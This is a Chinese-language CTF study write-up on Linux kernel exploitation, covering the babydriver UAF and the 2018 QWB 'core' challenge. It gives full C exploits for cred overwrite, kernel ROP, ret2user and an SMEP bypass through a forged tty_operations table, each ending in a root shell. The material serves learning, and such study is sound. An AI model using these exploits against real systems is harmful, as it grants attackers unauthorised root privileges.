• kernel简单学习(CTF-wiki)


    就从CTF WIKI的例题开始吧,此具有由易到难的特性,适合上手;

    1. 首先便是kernel UAF(感觉UAF是ctf kernel常出的点;

    下载例题,那么我们便要开始分析了漏洞所在了;存在着三个文件boot.sh bzImage rootfs.cpio,而rootfs.cpio之中便是磁盘文件,而boot.sh则是启动脚本,bzImage就是内核镜像(压缩后)了,故我们利用./boot.sh便直接可以启动一个虚拟机来运行运行内核为bzImage、磁盘为rootfs.cpio的系统了;

    1. 首先我们应该查看保护措施,那么保护措施怎么查看呢?boot.sh之中便存在着保护措施(smep)
    #!/bin/bash
    
    qemu-system-x86_64 -initrd rootfs.cpio\
    	-kernel bzImage\	# 指定内核
    	-append 'console=ttyS0 root=/dev/ram oops=panic panic=1'\ # 设备(这部分必须要有,这个就是终端)
    	-enable-kvm\ # 启动kvm(这个东西具体是啥不知道,但是是增加速度的)
    	-monitor /dev/null\ # qemu监视(非预期就是因为不存在这个)
    	-m 64M\ # 内存 这里我们可以修改大一点
    	--nographic\ # 无图形化
    	-smp cores=1,threads=1\ # 这个是啥来我也忘记了
    	-cpu kvm64,+smep # kvm64增加速度,smep(位于内核态无法执行用户态上的代码)
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    注意第6行需要删除,无论是Vm还是Wsl基本上对于kvm这个快速模式是不匹配的,故我们删除此选项(不影响),同时我们应该将64M内存增加到256M,此时便可以正常运行该虚拟机了;

    1. 既然知道了内核存在的保护,那么我们此时就需要定位漏洞位置了,一般ctf-kernel漏洞大都位于驱动
    pwn@DESKTOP-A262SJV:/CISCN2017-babydriver$ mkdir fs
    pwn@DESKTOP-A262SJV:/CISCN2017-babydriver$ cd fs/
    pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ cp ../rootfs.cpio ./
    pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ mv rootfs.cpio rootfs.cpio.gz
    pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ gunzip ./rootfs.cpio.gz
    pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ cpio -idmv < ./rootfs.cpio
    pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ ls
    bin  etc  home  init  lib  linuxrc  proc  rootfs.cpio  sbin  sys  tmp  usr
    pwn@DESKTOP-A262SJV:/CISCN2017-babydriver/fs$ cat init
    #!/bin/sh
    
    mount -t proc none /proc # 挂载proc
    mount -t sysfs none /sys # 挂载sys
    mount -t devtmpfs devtmpfs /dev # 挂载dev
    chown root:root flag
    chmod 400 flag # 赋予flag root权限
    exec 0/dev/console
    exec 2>/dev/console
    
    insmod /lib/modules/4.4.72/babydriver.ko # 加载babydriver.ko驱动
    chmod 777 /dev/babydev
    echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
    setsid cttyhack setuidgid 1000 sh
    
    umount /proc
    umount /sys
    poweroff -d 0  -f
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28

    根据init文件内信息我们可以发现挂载了一个/lib/modules/4.4.72/babydriver.ko驱动,大胆猜测漏洞点位于其中(就是),位于long babyioctl(file *filp,uint command,ulong arg)函数之中,存在着UAF漏洞;

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-P2zOJaGE-1667228018098)(https://p3-juejin.byteimg.com/tos-cn-i-k3u1fbpfcp/85051f947edf4465bc5a7847aa25dcf5~tplv-k3u1fbpfcp-zoom-1.image)]

    1. 既然知道漏洞的位置了,那么我们就应该去利用该漏洞攻击了;
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    int babyopen()
    {
        int fd = open("/dev/babydev", 2);
        return fd;
    }
    void babyioctl(int fd)
    {
    	ioctl(fd, 0x10001, 0xa8);
    }
    void babywirte(int fd, char *buf)
    {
        write(fd, buf, 28);
    }
    
    int main()
    {
        char buf[30] = {0};
        int ret;
        int fd1 = babyopen();
        int fd2 = babyopen();
        babyioctl(fd1); // 申请0xa8大小的堆块(内核态)
        close(fd1); // 关闭fd1指针,并释放0xa8大小的堆块(内核态)
        ret = fork(); // 创建一个新的进程,此时则利用到了上面所释放的一个0xa8堆块来存放cred结构体
        if (ret == 0)
        {
            babywirte(fd2, &buf); // 子进程修改cre结构体标记位
            if (getuid() == 0) // 此时提权成功
            {
                puts("[+] root now.");
                system("/bin/sh"); // 获取权限
            }
            else
                puts("[+] promotion failed now.");
        }
        else if (ret < 0)
        {
            puts("[*] fork error!");
            exit(0);
        }
        else
        {
            wait(NULL); // 父进程等待子进程结束
        }
        close(fd2);
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53

    在这个过程中我们需要不断调整exp并存放入rootfs.cpio磁盘镜像之中,故我们可以写一个脚本集合命令完成存放这一过程;

    #!/bin/bash
    
    gcc -masm=intel --static -g -o exp ./exp.c
    mv ./exp ./fs/
    cd ./fs/
    find . | cpio -o --format=newc > ../core.cpio
    cd ..
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    2. kernel ROP - 2018 强网杯 - core
    1. 此时我们依然需要定位漏洞并查看保活措施;

    解压发现存在bzImage core.cpio start.sh vmlinux,发现多出来一个文件vmlinux,该文件为静态的内核镜像,可以理解为没有经过压缩的内核,而bzImage则是经过了一层压缩;

    首先查看启动脚本start.sh如下,发现存在着kaslr保护措施,就是地址随机化了;

    qemu-system-x86_64 \
    -m 64M \
    -kernel ./bzImage \
    -initrd  ./core.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr" \ # 此处存在着kaslr保护措施
    -s  \
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0 \
    -nographic  \
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    并且我们还可以通过ropper --file ./vmlinux --nocolor > rop.txt来搜索内核之中的gadget(在内核上,ropper的搜索速度往往比ROPgadget快上不少)

    与此同时,我们可以解压core.cpio查看有漏洞的驱动,并通过ida进行分析,其中的init文件向我们揭示了需要内核参数,如kptr_restrict、dmesg_restrict,可以发现该内核通过配置参数将内核地址保护的很严实,但并不代表着就无法泄露地址了;

    #!/bin/sh
    mount -t proc proc /proc
    mount -t sysfs sysfs /sys
    mount -t devtmpfs none /dev
    /sbin/mdev -s
    mkdir -p /dev/pts
    mount -vt devpts -o gid=4,mode=620 none /dev/pts
    chmod 666 /dev/ptmx
    cat /proc/kallsyms > /tmp/kallsyms # 这里将/proc/kallsyms信息保存至/tmp/kallsyms了
    echo 1 > /proc/sys/kernel/kptr_restrict # kptr_restrict 防止泄露内核地址(/proc/kallsyms-modules显示value全部为0)
    echo 1 > /proc/sys/kernel/dmesg_restrict # 内核参数 kernel.dmesg_restrict 指定非特权用户是否可以使用 dmesg 查看来自内核日志缓冲区的消息。要删除限制,请将其设置为零。
    ifconfig eth0 up # 启动虚拟ip
    udhcpc -i eth0
    ifconfig eth0 10.0.2.15 netmask 255.255.255.0
    route add default gw 10.0.2.2
    insmod /core.ko # 挂载core驱动
    
    poweroff -d 120 -f &
    setsid /bin/cttyhack setuidgid 1000 /bin/sh
    echo 'sh end!\n'
    umount /proc
    umount /sys
    
    poweroff -d 0  -f
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24

    分析core.ko驱动:

    __int64 init_module()
    {
      core_proc = proc_create("core", 438LL, 0LL, &core_fops);
      printk(&unk_2DE);
      return 0LL;
    }
    // 通过init_module驱动初始化函数,我们可以得知该设备自实现函数仅仅有core_write、core_ioctl、core_release;
    // 而位于core_ioctl函数之中存在着其他函数core_read、core_copy_func等;相当于一个小型的note
    
    __int64 __fastcall core_ioctl(__int64 a1, int a2, __int64 a3)
    {
      switch ( a2 )
      {
        case 0x6677889B:
          core_read(a3);
          break;
        case 0x6677889C:
          printk(&bss_core_fd);
          off = a3;
          break;
        case 0x6677889A:
          printk(&success_core_cpoy);
          core_copy_func(a3);
          break;
      }
      return 0LL;
    }
    // 可以发现存在core_copy_func函数,而该函数之中却存在着溢出(整数安全)
    __int64 __fastcall core_copy_func(__int64 a1)
    {
      __int64 result; // rax
      _QWORD stack[10]; // [rsp+0h] [rbp-50h] BYREF
    
      stack[8] = __readgsqword(0x28u);
      printk(&unk_215);
      if ( a1 > 0x3F ) // 判读size大小不能超过0x3f,利用__int64的负数绕过
      {
        printk(&bss_overflow);
        return 0xFFFFFFFFLL;
      }
      else
      {
        result = 0LL;
        qmemcpy(stack, &name, (unsigned __int16 a1); // 由于__int64转到__int16符号,存在信息丢失,故可以利用此处进行栈溢出
      }
      return result;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    1. 此时我们便可以尝试写出脚本了;(我们可以分阶段写
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define true 1
    #define false 0
    #define u64 unsigned long long
    
    u64 canary;
    u64 commit_creds;
    u64 prepare_kernel_cred;
    u64 vmlinux_base;
    u64 static_vmlinux_base = 0xffffffff81000000;
    /*
    pwn@DESKTOP-A262SJV:/QWB2018-core/give_to_player$ readelf -l vmlinux
    
    Elf file type is EXEC (Executable file)
    Entry point 0x1000000
    There are 5 program headers, starting at offset 64
    
    Program Headers:
      Type           Offset             VirtAddr           PhysAddr
                     FileSiz            MemSiz              Flags  Align
      LOAD           0x0000000000200000 0xffffffff81000000 0x0000000001000000
                     0x00000000010a7000 0x00000000010a7000  R E    0x200000
      LOAD           0x0000000001400000 0xffffffff82200000 0x0000000002200000
                     0x000000000041d000 0x000000000041d000  RW     0x200000
      LOAD           0x0000000001a00000 0x0000000000000000 0x000000000261d000
                     0x0000000000020898 0x0000000000020898  RW     0x200000
      LOAD           0x0000000001a3e000 0xffffffff8263e000 0x000000000263e000
                     0x00000000000e0000 0x00000000001ae000  RWE    0x200000
      NOTE           0x0000000000e03260 0xffffffff81c03260 0x0000000001c03260
                     0x0000000000000024 0x0000000000000024         0x4
    
     Section to Segment mapping:
      Segment Sections...
       00     .text .notes __ex_table .rodata .pci_fixup __ksymtab __ksymtab_gpl __ksymtab_strings __param __modver
       01     .data .orc_unwind_ip .orc_unwind .orc_lookup .vvar
       02     .data..percpu
       03     .init.text .altinstr_aux .init.data .x86_cpu_dev.init .altinstructions .altinstr_replacement .iommu_table .apicdrivers .exit.text .smp_locks .data_nosave .bss .brk
       04     .notes
    */
    
    void core_ioctl(int fd, unsigned int choice, u64 size)
    {	 ioctl(fd, choice, size);	}
    void core_read(int fd, char *buf)
    {	 core_ioctl(fd, 0x6677889B, (unsigned long long)buf);	}
    void edit_off(int fd, int offset)
    {    core_ioctl(fd, 0x6677889C, offset);	}
    void core_copy_func(int fd)
    {    core_ioctl(fd, 0x6677889A, 0xffffffffffff0100);	}
    
    void core_write(int fd, char *buf, int len)
    {    write(fd, buf, len);	}
    
    void leak_canary(int fd)
    {
    	char tmp[0x50];
    	puts("leak stack canary new!");
    	edit_off(fd, 0x40);
    	core_read(fd, (char*)&tmp);
    	canary = *((u64*)tmp);
    	printf("canary: 0x%llx\n", canary);
    }
    
    void find_symbols()
    {
    	char buf[80],tmp[50];
    	int commit_creds_true = false,prepare_kernel_cred_true = false;
    	FILE* fd = fopen("/tmp/kallsyms", "r");
    	if (fd < 0)
    	{
    		puts("[*]open kallsyms error!");
            exit(0);
    	}
    	else
    		puts("[*]open kallsyms success!");
    	
    	
    	while(fgets(buf, 0x50, fd) != NULL)
    	{
    		if (commit_creds_true && prepare_kernel_cred_true)
    		{
    			printf("[*]vmlinux_base: 0x%llx\n", vmlinux_base);
    			puts("[*]search symbols success!");
    			break;
    		}
    		
    		if (strstr(buf, "commit_creds") && !commit_creds_true)
    		{
    			strncpy(tmp, buf, 16);
    			sscanf(tmp, "%llx", &commit_creds);
    			commit_creds_true = true;
    			
    			puts("[*]commit_creds search success!");
    			printf("\tcommit_creds: 0x%llx\n", commit_creds);
    			
    			vmlinux_base = commit_creds-0x9C8E0;
    		}
    		if (strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred_true)
    		{
    			strncpy(tmp, buf, 16);
    			sscanf(tmp, "%llx", &prepare_kernel_cred);
    			prepare_kernel_cred_true = true;
    			
    			puts("[*]prepare_kernel_cred search success!");
    			printf("\tprepare_kernel_cred: 0x%llx\n", prepare_kernel_cred);
    			
    			vmlinux_base = prepare_kernel_cred-0x9CCE0;
    		}
    	}
    	
    }
    
    void root()
    {
    	//system("/bin/sh");
    	if (!getuid())
    	{
    		puts("[*]root new!");
    		system("/bin/sh");
    	}
    	else
        {
            puts("[*]spawn shell error!");
        }
        exit(0);
    }
    size_t user_cs,user_ss,user_sp,user_rflags;
    void save_state()
    {
    	__asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        puts("[*]status has been saved.");
    }
    size_t rop[1024];
    void ROPattack(int fd)
    {
    	int i;
    	u64 pop_rdi_ret = 0xffffffff81000b2f - static_vmlinux_base + vmlinux_base;
    	u64 pop_rsi_ret = 0xffffffff810011d6 - static_vmlinux_base + vmlinux_base;
    	u64 pop_rdx_ret = 0xffffffff810a0f49 - static_vmlinux_base + vmlinux_base;
    	u64 pop_rcx_ret = 0xffffffff81021e53 - static_vmlinux_base + vmlinux_base;
    	u64 mov_rdi_rax_call_rdx = 0xffffffff8101aa6a - static_vmlinux_base + vmlinux_base;
    	u64 swapgs_popfq_ret = 0xffffffff81a012da - static_vmlinux_base + vmlinux_base;
    	u64 iretq_ret = 0xffffffff81050ac2 - static_vmlinux_base + vmlinux_base;
    	
    	save_state();
    	for(i=0; i<10; i++)
    	{
    		rop[i] = canary;
    	}
    	rop[i++] = pop_rdi_ret;
    	rop[i++] = 0;
    	rop[i++] = prepare_kernel_cred; // prepare_kernel_cred(0);
    	rop[i++] = pop_rdx_ret;
    	rop[i++] = pop_rcx_ret; // call rdx; 跳过rip
    	rop[i++] = mov_rdi_rax_call_rdx;
    	rop[i++] = commit_creds;
    	rop[i++] = swapgs_popfq_ret;
    	rop[i++] = 0;
    	rop[i++] = iretq_ret;
    	rop[i++] = (size_t)root;
    	rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_sp;
        rop[i++] = user_ss;
    	
    	puts("==================attack==================");
    	core_write(fd, (char*)&rop, 0x800);
    	core_copy_func(fd);
    }
    
    /*
    	这里建议分阶段写出exp;
    	比如第一阶段leak_canary,泄露canary(内核);
    	第二阶段find_symbols,泄露内核地址;
    	第三阶段ROPattack利用栈溢出进行提权;
    */
    //	cat /sys/module/core/sections/.text
    //	gcc -masm=intel --static -g -o exp ./exp.c
    int main()
    {
    	int fd = open("/proc/core", 2);
    	leak_canary(fd);
    	find_symbols();
    	ROPattack(fd);
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107
    • 108
    • 109
    • 110
    • 111
    • 112
    • 113
    • 114
    • 115
    • 116
    • 117
    • 118
    • 119
    • 120
    • 121
    • 122
    • 123
    • 124
    • 125
    • 126
    • 127
    • 128
    • 129
    • 130
    • 131
    • 132
    • 133
    • 134
    • 135
    • 136
    • 137
    • 138
    • 139
    • 140
    • 141
    • 142
    • 143
    • 144
    • 145
    • 146
    • 147
    • 148
    • 149
    • 150
    • 151
    • 152
    • 153
    • 154
    • 155
    • 156
    • 157
    • 158
    • 159
    • 160
    • 161
    • 162
    • 163
    • 164
    • 165
    • 166
    • 167
    • 168
    • 169
    • 170
    • 171
    • 172
    • 173
    • 174
    • 175
    • 176
    • 177
    • 178
    • 179
    • 180
    • 181
    • 182
    • 183
    • 184
    • 185
    • 186
    • 187
    • 188
    • 189
    • 190
    • 191
    • 192
    • 193
    • 194
    • 195
    • 196
    • 197
    • 198

    这里启动的时候发生了如下问题,这是因为我们所给予的内存太少了,由两种解决办法,一种是给大点内存(我曾一度给到过512M才能启动)。第二种方法则是将磁盘镜像内部内容减少一些,防止过多杂乱且无用的内容,这样就可以给予较少内存启动qemu了;(下面报错翻译一下,就是说发生内核死锁了,没有可以结束的进程,然后卡4了,所以内存多点就可以避免死锁了;那么这个死锁是怎么发生的,是在解压磁盘镜像(太大了),导致内存不足的,而仅仅运行一个Linux不需要那么多内存;

    [    0.023577] Spectre V2 : Spectre mitigation: LFENCE not serializing, switching to generic retpoline
    [    0.803563] Kernel panic - not syncing: Out of memory and no killable processes...
    [    0.803563]
    [    0.804105] Rebooting in 1 seconds..
    
    • 1
    • 2
    • 3
    • 4

    同时还有就是调试的时候,我们应该设置终端为root权限,这样方便我们查看地址;而测试的时候我们则修改会user权限;同时我们可以利用qemu内的cat /sys/module/core/sections/.text查看core的代码段基址;

    3. ret2user

    ret2user利用的前提则是smep保护不存在或者被关闭,而在2018 强网杯 - core题目当中,则仅仅存在着一个kaslr保护而已,所以我们可以对于2. kernel ROP - 2018 强网杯 - core的提权exp进行一定的修改即可;

    而仅仅只需要修改ROPattack之中的rop链条当中的commit_creds(prepare_kernel_cred(0));为用户态代码即可;

    void get_root()
    {
        char* pkc(int*) = prepare_kernel_cred;
        void cc(char*) = commit_creds;
        (*cc)((*pkc)(0));
    }
    size_t rop[1024];
    void ROPattack(int fd)
    {
        int i;
        u64 swapgs_popfq_ret = 0xffffffff81a012da - static_vmlinux_base + vmlinux_base;
        u64 iretq_ret = 0xffffffff81050ac2 - static_vmlinux_base + vmlinux_base;
    
        save_state();
        for(i=0; i<10; i++)
            {
                rop[i] = canary;
            }
        rop[i++] = (size_t)get_root;
        rop[i++] = swapgs_popfq_ret;
        rop[i++] = 0;
        rop[i++] = iretq_ret;
        rop[i++] = (size_t)root;
        rop[i++] = user_cs;
        rop[i++] = user_rflags;
        rop[i++] = user_sp;
        rop[i++] = user_ss;
    
        puts("==================attack==================");
        core_write(fd, (char*)&rop, 0x800);
        core_copy_func(fd);
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32

    同时,这里借由强网杯 - core题目来谈谈用户态以及内核态之间的转换;这里也很简单,从用户态到内核态仅仅通过中断syscall即可实现,而我们要谈的则是从内核态到用户态所需要准备的事情;

    swapgs; iretq;说来也简单,通过这两条汇编指令我们就可以实现从内核态转用户态,swapgs指令是交换gs寄存器(GS 寄存器通常为包含每个 CPU 数据的结构保存一个基址),而iretq指令则是中断返回(为中断返回的最后一条指令)。

    与实址模式中断返回一样,IRET 指令分别将返回指令指针、返回代码段选择器和 EFLAGS 图像从堆栈弹出到 EIP、CS 和 EFLAGS 寄存器,然后继续执行中断的程序或过程。如果返回到另一个特权级别,则在恢复程序执行之前,IRET 指令还会从堆栈中弹出堆栈指针和 SS。如果返回到 virtual-8086 模式,处理器还会从堆栈中弹出数据段寄存器。

    4. bypass-smep

    这里先作准备工作,本题我们将要使用一个工具extract-vmlinux,说是工具,实则为一个.sh脚本。我们赋予其权限运行./extract-vmlinux ./bzImage > vmlinux便可以得到未压缩的内核,此时我们便可以利用roppervmlinux之中得到一些gadget。但是这里因为我的环境为wsl,可以存在异常/bin/sh^M: bad interpreter: No such file or directory,这是因为文件内在的格式不正确,我们可以通过vim的命令模式设置set ff=unix即可修复;

    1. 刚开始我们同样的需要分析,但是本题目是CISCN2017-babydriver我们位于前面已经分析过了,故此处将不再重复分析;
      1. 那么此时我们将不再使用UAF利用cred结构体的方法了,而是利用mov指令修改cr4寄存器关闭smep保护,再利用ret2user提权;

    不过仅仅依靠我们现有的知识也很难去针对一个存在smep保护的程序进行提权利用了;所以这里我们需要提出几个Linux概念来弥补我们所缺失的知识,我们再接下来利用过程之中便会使用到这些知识;

    a. tty_struct 结构,在 open("/dev/ptmx", O_RDWR) 时会分配这样一个结构体,而其中的const struct tty_operations *ops;则指向了一个函数指针结构体(可以理解为虚表)

    struct tty_struct {
        int magic;
        struct kref kref;
        struct device *dev;
        struct tty_driver *driver;
        const struct tty_operations *ops;
        ...略
    } __randomize_layout;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    b. 有趣的结构体 tty_operations,可谓pwn手的风水宝地,其中内容大都为readwrite等一系列操作

    struct tty_operations {
        struct tty_struct * (*lookup)(struct tty_driver *driver,
                struct file *filp, int idx);
        int  (*install)(struct tty_driver *driver, struct tty_struct *tty);
        void (*remove)(struct tty_driver *driver, struct tty_struct *tty);
        int  (*open)(struct tty_struct * tty, struct file * filp);
        void (*close)(struct tty_struct * tty, struct file * filp);
        void (*shutdown)(struct tty_struct *tty);
        void (*cleanup)(struct tty_struct *tty);
        int  (*write)(struct tty_struct * tty,
                  const unsigned char *buf, int count);
        int  (*put_char)(struct tty_struct *tty, unsigned char ch);
        void (*flush_chars)(struct tty_struct *tty);
        int  (*write_room)(struct tty_struct *tty);
        int  (*chars_in_buffer)(struct tty_struct *tty);
        int  (*ioctl)(struct tty_struct *tty,
                unsigned int cmd, unsigned long arg);
        long (*compat_ioctl)(struct tty_struct *tty,
                     unsigned int cmd, unsigned long arg);
        void (*set_termios)(struct tty_struct *tty, struct ktermios * old);
        void (*throttle)(struct tty_struct * tty);
        void (*unthrottle)(struct tty_struct * tty);
        void (*stop)(struct tty_struct *tty);
        void (*start)(struct tty_struct *tty);
        void (*hangup)(struct tty_struct *tty);
        int (*break_ctl)(struct tty_struct *tty, int state);
        void (*flush_buffer)(struct tty_struct *tty);
        void (*set_ldisc)(struct tty_struct *tty);
        void (*wait_until_sent)(struct tty_struct *tty, int timeout);
        void (*send_xchar)(struct tty_struct *tty, char ch);
        int (*tiocmget)(struct tty_struct *tty);
        int (*tiocmset)(struct tty_struct *tty,
                unsigned int set, unsigned int clear);
        int (*resize)(struct tty_struct *tty, struct winsize *ws);
        int (*set_termiox)(struct tty_struct *tty, struct termiox *tnew);
        int (*get_icount)(struct tty_struct *tty,
                    struct serial_icounter_struct *icount);
        void (*show_fdinfo)(struct tty_struct *tty, struct seq_file *m);
    #ifdef CONFIG_CONSOLE_POLL
        int (*poll_init)(struct tty_driver *driver, int line, char *options);
        int (*poll_get_char)(struct tty_driver *driver, int line);
        void (*poll_put_char)(struct tty_driver *driver, int line, char ch);
    #endif
        int (*proc_show)(struct seq_file *, void *);
    } __randomize_layout;
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45

    接下来我们便开始编写exp

    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    #include 
    
    #define u64 unsigned long long
    #define u32 unsigned int
    #define u16 unsigned short
    #define u8  unsigned char
    
    #define commit_creds 0xffffffff810a1420
    #define prepare_kernel_cred 0xffffffff810a1810
    u64 vmlinux_base = 0xffffffff81000000;
    
    size_t user_cs, user_ss, user_rflags, user_sp;
    void save_status()
    {
        __asm__("mov user_cs, cs;"
                "mov user_ss, ss;"
                "mov user_sp, rsp;"
                "pushf;"
                "pop user_rflags;"
                );
        puts("[*]status has been saved.");
    }
    void root()
    {
    	if (!getuid())
    	{
    		puts("[*]root new!");
    		system("/bin/sh");
    	}
    	else
    		puts("[*]spawn shell error!");
    	exit(0);
    }
    
    
    void babydev_ioctl(u32 fd, u64 size)
    {	ioctl(fd, 0x10001, size);	}
    
    void get_0()
    {
    	char* (*pkc)(int) = prepare_kernel_cred;
        void (*cc)(char*) = commit_creds;
        (*cc)((*pkc)(0));
    }
    
    size_t rop[1024];
    void attack()
    {
    	int i = 0;
    	size_t fake_tty_struct[4] = {0};
    	size_t fake_tty_operations[30] = {0};
    	u64 pop_rdi_ret = 0xffffffff810d238d; // pop rdi; ret;
    	u64 movrc4rdi_poprbp_ret = 0xffffffff81004d80; // mov cr4, rdi; pop rbp; ret;
    	u64 swapgs_pop_rbp_ret = 0xffffffff81063694; // swapgs; pop rbp; ret;
    	u64 iretq_ret = 0xffffffff814e35ef; // iretq; ret;
    	u64 mov_rsp_rax_ret = 0xFFFFFFFF8181BFC5;  // mov rsp,rax ; dec ebx ; ret
    	u64 pop_rax_rbp_ret = 0xffffffff810635f5; // pop rax; pop rbp; ret;
    	
    	rop[i++] = pop_rdi_ret;
    	rop[i++] = 0x6f0;
    	rop[i++] = movrc4rdi_poprbp_ret;
    	rop[i++] = 0;
    	rop[i++] = (size_t)get_0;
    	rop[i++] = swapgs_pop_rbp_ret;
    	rop[i++] = 0;
    	rop[i++] = iretq_ret;
    	rop[i++] = (size_t)root;
    	rop[i++] = user_cs;
    	rop[i++] = user_rflags;
    	rop[i++] = user_sp;
    	rop[i++] = user_ss;
    	
    	for(i=0; i<30; i++)
    	{
    		fake_tty_operations[i] = mov_rsp_rax_ret;
    	}
    	fake_tty_operations[0] = pop_rax_rbp_ret;
    	fake_tty_operations[1] = (size_t)rop;
    	
    	puts("[*]attack start!");
    	u32 fd1 = open("/dev/babydev", 2);
    	u32 fd2 = open("/dev/babydev", 2);
    	babydev_ioctl(fd1, 0x2e0);
    	close(fd1);	// 造成了UAF
    
    	u32 fd_tty = open("/dev/ptmx", 2); // tty_struct(UAF)
    	read(fd2, fake_tty_struct, 32);
    	fake_tty_struct[3] = (size_t)fake_tty_operations; // 修改tty_operations指针指向伪造的结构体
    	write(fd2, fake_tty_struct, 32);
    	
    	char buf[8] = {0};
    	write(fd_tty, buf, 8); // 利用write触发tty_operations结构体之中的函数(指针)
    }
    
    int main()
    {
    	save_status();
    	attack();
    	return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
    • 81
    • 82
    • 83
    • 84
    • 85
    • 86
    • 87
    • 88
    • 89
    • 90
    • 91
    • 92
    • 93
    • 94
    • 95
    • 96
    • 97
    • 98
    • 99
    • 100
    • 101
    • 102
    • 103
    • 104
    • 105
    • 106
    • 107

    那么我们不禁有了疑问?为什么write就能触发呢?在这个过程之中我们经历了什么,这个逻辑过程是什么样的?那么我们就需要如同学习堆一样学习Linux内核部分,这就绕不开阅读源码了;说实话,这块还真不简单

    这里发现这篇Linux内核深入理解系统调用讲解的很不错,我们可以跟随着这篇文章分析syscall系统调用(中断)都作了哪些处理?这将使我们对于Linux有了更深入一步的了解;如何我们直接上手调试的话,那么大概率我们将会晕头转向的无从处理这些不知道谁调用了谁的函数;

    5. Double Fetch

